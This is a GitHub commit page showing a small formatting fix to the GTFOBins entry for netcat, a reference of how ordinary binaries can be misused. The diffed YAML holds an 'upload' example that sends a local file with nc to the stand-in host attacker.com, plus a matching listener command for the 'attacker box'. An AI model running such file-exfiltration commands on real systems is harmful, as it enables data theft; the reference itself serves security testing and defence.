Skip to content

Commit

Permalink
Fix coherence in nc YAML
Browse files Browse the repository at this point in the history
  • Loading branch information
cyrus-and committed May 31, 2018
1 parent a9b7b20 commit d95bc8a
Showing 1 changed file with 2 additions and 3 deletions.
5 changes: 2 additions & 3 deletions _gtfobins/nc.md
Original file line number Diff line number Diff line change
@@ -1,16 +1,15 @@
---
functions:
upload:
- description: |
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
nc $RHOST $RPORT < "$LFILE"
download:
- description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
code: |-
code: |
LPORT=12345
LFILE=where_to_save
nc -l -p $LPORT > "$LFILE"
Expand Down

0 comments on commit d95bc8a

Please sign in to comment.